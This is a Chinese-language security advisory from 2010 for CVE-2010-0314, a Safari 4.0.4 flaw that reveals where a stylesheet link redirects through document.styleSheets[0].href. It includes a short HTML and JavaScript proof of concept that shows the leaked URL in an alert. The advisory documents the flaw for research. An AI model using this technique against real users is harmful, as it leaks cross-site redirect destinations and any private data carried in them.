发布日期：2010-01-22
更新日期：2010-01-26

受影响系统：

Apple Safari 4.0.4

描述：

---

BUGTRAQ  ID: 37925
CVE ID: CVE-2010-0314

Safari是苹果家族机器操作系统中默认捆绑的WEB浏览器。

Safari跟随了样式表的重新定向并允许读取目标URL。通过在样式表LINK元素的HREF属性中放置站点URL然后读取document.styleSheets[0].href属性值，攻击者就可以找到重新定向的目标URL。

<*来源：Cesar Cerrudo （cesarc56@yahoo.com）
  
  链接：http://secunia.com/advisories/37931/
        http://nomoreroot.blogspot.com/2010/01/little-bug-in-safari-and-google-chrome.html
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<link rel="stylesheet" type="text/css" href="http://www.yahoo.com">
Hola
<script language="javascript">
setTimeout("alert(document.styleSheets[0].href)", 10000);
//setTimeout is used just to wait for page loading
</script>

建议：

---

厂商补丁：

Apple
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.apple.com

浏览次数：2488
严重程度：0（网友投票）